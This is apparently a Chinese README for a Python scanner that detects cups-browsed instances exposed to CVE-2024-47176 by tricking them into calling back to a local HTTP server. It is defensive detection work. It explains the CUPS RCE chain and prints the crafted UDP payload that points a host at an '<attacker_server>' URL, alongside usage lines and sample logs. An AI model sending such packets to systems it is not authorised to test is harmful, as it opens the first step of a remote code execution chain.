示例用法:python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS(通用 UNIX 打印系统)是一个开源框架,用于在 UNIX 及类 UNIX 系统上管理和控制打印机。 它是打印领域最广泛使用的库之一,受 UNIX、Linux 及部分苹果设备支持。
CUPS 中发现了多个严重漏洞,串联利用后可导致远程代码执行。 涉及的 CVE 编号为:CVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177。
这些漏洞允许远程攻击者添加或重新配置网络打印机,使得用户在尝试打印时执行任意代码。
漏洞链中的第一个漏洞 CVE-2024-47176,存在于 cups-browsed 守护进程中。
该漏洞源于 cups-browsed 将其控制端口(UDP 端口 631)绑定到 INADDR_ANY,从而暴露给外部世界。 由于请求无需身份验证,任何能够访问控制端口的人都可以指示 cups-browsed 执行打印机发现。
当端口无法从互联网访问(由于防火墙或 NAT)时,仍可能通过本地网络访问,从而实现权限提升和横向移动。 因此,我编写了这个扫描器,用于在本地网络中扫描存在漏洞的 cups-browsed 实例。
通常,攻击者会通过向 UDP 端口 631 上的 cups-browsed 发送精心构造的请求来开始利用过程,使其访问攻击者控制的恶意 URL。
例如,包含以下内容的 UDP 数据包:0 3 http://<attacker_server>/printers/malicious_printer 将触发 cups-browsed 向 http://<attacker_server>/printers/malicious_printer 发出 HTTP 请求。
如果该 URL 呈现为一个恶意打印机,则可以串联其他 CVE 漏洞以实现远程代码执行。
利用这种机制,我们可以触发存在漏洞的 cups-browsed 实例向我们的服务器发出 HTTP 请求(回调),从而将其自身标记为存在漏洞。
扫描过程如下:
/printers/ 端点的 POST 请求,这些请求由存在漏洞的 cups-browsed 实例触发。假设我们的 HTTP 服务器托管在 10.0.0.1:1337,则 UDP 数据包应如下所示:0 3 http://10.0.0.1:1337/printers/test1234
此 Python 扫描器为您处理一切(包括 HTTP 服务器和扫描)。
该脚本通过 http.server 在指定的 IP 和端口上启动一个临时 HTTP 服务器,然后构造并向指定范围内的每个 IP 发送 UDP 数据包。 HTTP 服务器将自动捕获来自存在漏洞的 cups-browsed 实例的回调,并将其记录到磁盘。
用户友好的日志写入 logs/cups.log,原始 HTTP 请求写入 logs/requests.log
--target
要扫描的 CIDR 范围。可以是单个 CIDR 或多个以逗号分隔的 CIDR。
--callback 托管 HTTP 服务器的本地 IP 和端口(必须能被目标范围访问)
--scan-unsafe 默认情况下,我们只扫描可分配的主机地址(排除网络地址和广播地址)。
在某些情况下可能需要扫描这些地址,因此可以通过 --scan-unsafe 标志覆盖此行为。
从 IP 地址 10.0.0.1 扫描 CIDR 10.0.0.0/24,回调服务器托管在端口 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
从 IP 地址 10.0.0.1 扫描多个 CIDR,回调服务器托管在端口 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
注意:回调服务器的 IP 必须属于扫描主机,且端口必须能被所有目标 IP 访问。
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
更多信息请参阅:官方 CUPS 漏洞分析文章